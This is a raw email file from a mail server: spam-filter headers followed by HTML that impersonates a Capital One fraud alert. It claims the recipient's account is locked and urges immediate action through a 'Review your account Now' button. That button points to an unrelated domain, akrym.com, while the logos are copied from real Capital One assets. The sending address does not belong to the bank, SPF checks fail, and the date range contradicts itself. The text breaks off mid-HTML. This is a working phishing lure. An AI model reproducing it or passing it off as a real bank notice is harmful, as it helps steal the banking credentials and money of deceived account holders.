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Edit File: 1779535997.M221318P478758.server-619288.prediksijaya.com,S=44720,W=45431
Return-Path: <work@secure.net> Delivered-To: angker@server-619288.prediksijaya.com Received: from server-619288.prediksijaya.com by server-619288.prediksijaya.com with LMTP id uoTAC32QEWomTgcAf7/9AQ (envelope-from <work@secure.net>) for <angker@server-619288.prediksijaya.com>; Sat, 23 May 2026 18:33:17 +0700 Return-path: <work@secure.net> Envelope-to: jeczin@ponjosonek.com Delivery-date: Sat, 23 May 2026 18:33:17 +0700 Received: from 61-222-68-74.hinet-ip.hinet.net ([61.222.68.74]:53884 helo=secure.net) by server-619288.prediksijaya.com with esmtp (Exim 4.99.2) (envelope-from <work@secure.net>) id 1wQkbU-000000020V4-0P9L for jeczin@ponjosonek.com; Sat, 23 May 2026 18:33:17 +0700 From: "Capital One " <work@secure.net> To: jeczin@ponjosonek.com Subject: Your Capital One Account Is Restricted Date: 23 May 2026 19:32:34 +0800 Message-ID: <20260523193233.8BB347636A210CE1@secure.net> MIME-Version: 1.0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-Spam-Status: No, score=3.7 X-Spam-Score: 37 X-Spam-Bar: +++ X-Ham-Report: Spam detection software, running on the system "server-619288.prediksijaya.com", has NOT identified this incoming email as spam. The original message has been attached to this so you can view it or label similar future email. If you have any questions, see root\@localhost for details. Content preview: Urgent Request to Review Suspicious Spending Patterns, Fraud Report, Our monitoring systems flagged transactions that appear inconsistent with your typical spending behavior. While we cannot disclose specific details for security reasons, this may include unexpected pu [...] Content analysis details: (3.7 points, 5.0 required) pts rule name description ---- ---------------------- -------------------------------------------------- 0.0 T_SPF_HELO_TEMPERROR SPF: test of HELO record failed (temperror) 0.0 T_SPF_TEMPERROR SPF: test of record failed (temperror) 0.0 KAM_DMARC_STATUS Test Rule for DKIM or SPF Failure with Strict Alignment 0.0 TVD_RCVD_IP Message was received from an IP address 0.1 MIME_HTML_ONLY BODY: Message only has text/html MIME parts 0.0 HTML_MESSAGE BODY: HTML included in message 0.9 URG_BIZ Contains urgent matter 0.0 T_KAM_HTML_FONT_INVALID Test for Invalidly Named or Formatted Colors in HTML 2.6 RDNS_DYNAMIC Delivered to internal network by host with dynamic-looking rDNS X-Spam-Flag: NO <HTML><HEAD> <META content=3D"text/html; charset=3DUTF-8" http-equiv=3DContent-Type> <META name=3DGENERATOR content=3D"MSHTML 11.00.10570.1001"></HEAD> <BODY><TABLE class=3D"v1darkmode v1header" style=3D"BOX-SIZING: border-box;= FONT-SIZE: 14px; FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WOR= D-SPACING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGH= T: 400; COLOR: rgb(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS= : 2; WIDOWS: 2; LETTER-SPACING: normal; font-variant-ligatures: normal; fon= t-variant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thi= ckness: initial; text-decoration-style: initial; text-decoration-color: ini= tial" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff bord= er=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 16px= ; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 1px; PADDING-B= OTTOM: 0px; PADDING-TOP: 0px; PADDING-LEFT: 24px; LINE-HEIGHT: 0; PADDING-R= IGHT: 24px"> <DIV style=3D"BOX-SIZING: border-box; BORDER-BOTTOM: rgb(212,212,212) 1px s= olid"> </DIV></TD></TR></TBODY></TABLE> <TABLE class=3D"v1darkmode v1header" style=3D"BOX-SIZING: border-box; FONT-= SIZE: 14px; FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPAC= ING: 0px; BORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400= ; COLOR: rgb(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; W= IDOWS: 2; LETTER-SPACING: normal; font-variant-ligatures: normal; font-vari= ant-caps: normal; -webkit-text-stroke-width: 0px; text-decoration-thickness= : initial; text-decoration-style: initial; text-decoration-color: initial" = cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0= > <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 16px; PADDING-TOP: 16p= x; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <H1 style=3D"BOX-SIZING: border-box; FONT-WEIGHT: 500; MARGIN: 0px; LINE-HE= IGHT: 1.2"><A style=3D"BOX-SIZING: border-box; TEXT-DECORATION: none; COLOR= : rgb(0,172,255); BACKGROUND-COLOR: transparent" href=3D"https://click-noti= fication.capitalone.com/f/a/NFuWZ3UoO9JcVMt5NrVnlw~~/AAAAARA~/KYpfo6zvnNs25= kEMKRarDODpesUntWEJBhmqZKSGsCVp2A4JIoXpgb836pQBDOcO1YOTOrm4t1d-cFG7R19LB4W8= YF32Y0dVCBjI8PIMoPrAzqyYN6JAx3xW1z8RXX1W" rel=3Dnoreferrer target=3D_blank>= <IMG class=3Dv1lightimg style=3D'BORDER-TOP-STYLE: none; BOX-SIZING: border= -box; MAX-WIDTH: 318px !important; BORDER-LEFT-STYLE: none; HEIGHT: auto; W= IDTH: 318px; VERTICAL-ALIGN: middle; BORDER-BOTTOM-STYLE: none; COLOR: rgb(= 20,20,20); FONT: 14px/20px Optimist, "Helvetica Neue", Helvetica, Arial, sa= ns-serif; BORDER-RIGHT-STYLE: none; DISPLAY: block; border-radius: 4px' bor= der=3D0 alt=3D"Capital One | CreditWise" src=3D"https://ecm.capitalone.com/= Messaging/assets/images/logos_global/lockup_creditWise_3x.png" width=3D318 = height=3D58></A></H1></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 32px= ; TEXT-ALIGN: center; PADDING-TOP: 32px; PADDING-LEFT: 24px; PADDING-RIGHT:= 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 32px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 46px"><SPAN style=3D"BOX-SIZING: border-box; FONT-SI= ZE: 36px; FONT-WEIGHT: 300; LINE-HEIGHT: 46px">Urgent Request to Review Sus= picious Spending Patterns, Fraud Report,</SPAN></H2></TD></TR></TBODY></TAB= LE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 24px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 24px'><SPAN style=3D"BOX-SIZING: border-b= ox; FONT-SIZE: 16px; FONT-WEIGHT: 400; LINE-HEIGHT: 24px"> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D'BOX-SIZING:= border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist, "Helvetica Neue", Helv= etica, Arial, sans-serif; FONT-WEIGHT: 400; LINE-HEIGHT: 24px'>Our monitori= ng systems flagged transactions that appear inconsistent with your typical = spending behavior. While we cannot disclose specific details for security r= easons, this may include unexpected purchases, geographic irregularities, o= r high-frequency activity:</SPAN></P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D'BOX-SIZING:= border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist, "Helvetica Neue", Helv= etica, Arial, sans-serif; FONT-WEIGHT: 400; LINE-HEIGHT: 24px'></SPAN> = ;</P> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px"><SPAN style=3D'BOX-SIZING:= border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist, "Helvetica Neue", Helv= etica, Arial, sans-serif; FONT-WEIGHT: 400; LINE-HEIGHT: 24px'>To protect y= our account from potential fraud, we have temporarily locked it as a precau= tionary measure and immediate action is required</SPAN>.</SPAN></P></TD></T= R> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE= : collapse; border-radius: 4px" cellSpacing=3D0 cellPadding=3D0 align=3Dcen= ter bgColor=3D#0276b1 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD class=3Dv1cssbutton style=3D"BOX-SIZING: border-box; TEXT-ALIGN: center= ; LINE-HEIGHT: 30px" width=3D300><A style=3D'BOX-SIZING: border-box; TEXT-D= ECORATION: none; WIDTH: 300px; COLOR: rgb(0,172,255); FONT: 20px/30px Optim= ist, "Helvetica Neue", Helvetica, Arial, sans-serif; DISPLAY: inline-block;= BACKGROUND-COLOR: transparent' href=3D"https://akrym.com/mod.html" rel=3Dn= oreferrer target=3D_blank><STRONG style=3D"BOX-SIZING: border-box; FONT-WEI= GHT: 400; COLOR: rgb(255,255,255); PADDING-BOTTOM: 9px; PADDING-TOP: 9px; P= ADDING-LEFT: 16px; DISPLAY: inline-block; PADDING-RIGHT: 16px">Review your = account Now</STRONG></A></TD></TR></TBODY></TABLE> <P> </P> <P>Check your transaction history for any unauthorized charges. If you reco= gnize suspicious activity, report it immediately.</P> <P>If fraudulent transactions are confirmed, Capital One will issue a provi= sional credit and investigate further. You will not be held responsible for= unauthorized charges.</P></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 8px; P= ADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&nb= sp;</TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 24px= ; TEXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 24px; PADDING-RIGHT: = 24px'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 24px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 36px"><SPAN style=3D"BOX-SIZING: border-box; FONT-WE= IGHT: 300">Highlights of your changes from</SPAN><SPAN style=3D"BOX-SIZING:= border-box; FONT-WEIGHT: 300"></SPAN><SPAN style=3D"BOX-SIZING: border-box= ; FONT-WEIGHT: 300"><BR class=3Dv1mblhide style=3D"BOX-SIZING: border-box; = DISPLAY: inline">May 5 , 2026 to May 23, 2025</SPAN></H2></TD></T= R> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T= EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x" dir=3Dltr> <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI= DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px"><IMG style= =3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70px !import= ant; BORDER-LEFT-STYLE: none; HEIGHT: auto; WIDTH: 70px; VERTICAL-ALIGN: bo= ttom; BORDER-BOTTOM-STYLE: none; COLOR: rgb(20,20,20); TEXT-ALIGN: center; = FONT: 20px/30px Optimist, "Helvetica Neue", Helvetica, Arial, sans-serif; B= ORDER-RIGHT-STYLE: none' border=3D0 src=3D"https://mi.capitalone.com/p/rp/b= ed25787d806219a.png?icon_show_border=3Dtrue&icon_color=3D013D5B&ico= n_id=3Dprimary-annualFee&icon_inner_color=3DFFFFFF&icon_size=3D70&a= mp;icon_background=3DF4F4F4" width=3D70></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> </TD></TR></TBODY></TABLE></D= IV><SPAN> </SPAN>=20 <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI= DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;= TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder">Payment<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-SIZ= ING: border-box; FONT-WEIGHT: bolder">history<BR class=3Dv1softBreak style= =3D"BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box;= FONT-WEIGHT: 600; COLOR: rgb(1,61,91)">9/9</SPAN><SPAN style=3D"BOX-SIZING= : border-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN> </SPAN>ac= count payments made on time</SPAN></H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, your history o= f on-time payments indicates whether you’ll make payments on time in = the future.</P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></= TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 24px; PADDING-RIGHT: 24px"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" cellSpac= ing=3D0 cellPadding=3D0 align=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; HEIGHT: 0px; BORDER-BO= TTOM: rgb(125,125,125) 1px solid; PADDING-BOTTOM: 0px; PADDING-TOP: 0px; PA= DDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px" width=3D640> </TD= ></TR></TBODY></TABLE></TD></TR></TBODY></TABLE></TD></TR></TBODY></TABLE><= /TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 24px; = PADDING-TOP: 0px; PADDING-LEFT: 0px; LINE-HEIGHT: 0; PADDING-RIGHT: 0px">&n= bsp;</TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; FONT-SIZE: 0px; PADDING-BOTTOM: 0px; T= EXT-ALIGN: center; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x" dir=3Dltr> <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 103px; WI= DTH: 103px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 24px; TEXT-ALIGN: cent= er; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12px"><IMG style= =3D'BORDER-TOP-STYLE: none; BOX-SIZING: border-box; MAX-WIDTH: 70px !import= ant; BORDER-LEFT-STYLE: none; HEIGHT: auto; WIDTH: 70px; VERTICAL-ALIGN: bo= ttom; BORDER-BOTTOM-STYLE: none; COLOR: rgb(20,20,20); TEXT-ALIGN: center; = FONT: 20px/30px Optimist, "Helvetica Neue", Helvetica, Arial, sans-serif; B= ORDER-RIGHT-STYLE: none' border=3D0 src=3D"https://mi.capitalone.com/p/rp/b= ed25787d806219a.png?icon_show_border=3Dtrue&icon_color=3D013D5B&ico= n_id=3Dprimary-loans&icon_inner_color=3DFFFFFF&icon_size=3D70&i= con_background=3DF4F4F4" width=3D70></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 8px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> </TD></TR></TBODY></TABLE></D= IV><SPAN> </SPAN>=20 <DIV class=3Dv1column style=3D"BOX-SIZING: border-box; MAX-WIDTH: 417px; WI= DTH: 417px; VERTICAL-ALIGN: top; DISPLAY: inline-block"> <TABLE style=3D"BOX-SIZING: border-box; BORDER-COLLAPSE: collapse" dir=3Dlt= r cellSpacing=3D0 cellPadding=3D0 width=3D"100%" border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-FAMILY: Optimist, "Helvetica Neue= ", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PADDING-BOTTOM: 8px;= TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; PADDING-RIGHT: 12p= x'> <H2 style=3D"BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-WEIGHT: 600; MAR= GIN: 0px; LINE-HEIGHT: 24px"><STRONG style=3D"BOX-SIZING: border-box; FONT-= WEIGHT: bolder">New<SPAN> </SPAN></STRONG><STRONG style=3D"BOX-SIZING:= border-box; FONT-WEIGHT: bolder">accounts<BR class=3Dv1softBreak style=3D"= BOX-SIZING: border-box"></STRONG><SPAN style=3D"BOX-SIZING: border-box; FON= T-WEIGHT: 600; COLOR: rgb(1,61,91)">0</SPAN><SPAN style=3D"BOX-SIZING: bord= er-box; FONT-WEIGHT: 600; COLOR: rgb(1,61,91)"><SPAN> </SPAN>new acco= unts</SPAN></H2></TD></TR> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D'BOX-SIZING: border-box; FONT-SIZE: 16px; FONT-FAMILY: Optimist= , "Helvetica Neue", Helvetica, Arial, sans-serif; COLOR: rgb(20,20,20); PAD= DING-BOTTOM: 24px; TEXT-ALIGN: left; PADDING-TOP: 0px; PADDING-LEFT: 12px; = LINE-HEIGHT: 24px; PADDING-RIGHT: 12px'> <P style=3D"BOX-SIZING: border-box; MARGIN: 0px">To lenders, opening too ma= ny new accounts in a short window of time could point to credit problems.</= P></TD></TR></TBODY></TABLE></DIV></TD></TR></TBODY></TABLE></TD></TR></TBO= DY></TABLE></TD></TR></TBODY></TABLE> <TABLE class=3Dv1darkmode style=3D"BOX-SIZING: border-box; FONT-SIZE: 14px;= FONT-FAMILY: Roboto, sans-serif; WHITE-SPACE: normal; WORD-SPACING: 0px; B= ORDER-COLLAPSE: collapse; TEXT-TRANSFORM: none; FONT-WEIGHT: 400; COLOR: rg= b(44,54,58); FONT-STYLE: normal; TEXT-ALIGN: left; ORPHANS: 2; WIDOWS: 2; L= ETTER-SPACING: normal; font-variant-ligatures: normal; font-variant-caps: n= ormal; -webkit-text-stroke-width: 0px; text-decoration-thickness: initial; = text-decoration-style: initial; text-decoration-color: initial" cellSpacing= =3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#ffffff border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 0px; PADDING-RIGHT: 0px"> <TABLE style=3D"BOX-SIZING: border-box; MAX-WIDTH: 544px; WIDTH: 544px; BOR= DER-COLLAPSE: collapse; MARGIN: 0px auto" cellSpacing=3D0 cellPadding=3D0 a= lign=3Dcenter border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box"> <TABLE class=3Dv1darkaccent style=3D"BOX-SIZING: border-box; BORDER-COLLAPS= E: collapse" cellSpacing=3D0 cellPadding=3D0 width=3D"100%" bgColor=3D#f4f4= f4 border=3D0> <TBODY style=3D"BOX-SIZING: border-box"> <TR style=3D"BOX-SIZING: border-box"> <TD style=3D"BOX-SIZING: border-box; PADDING-BOTTOM: 0px; PADDING-TOP: 0px;= PADDING-LEFT: 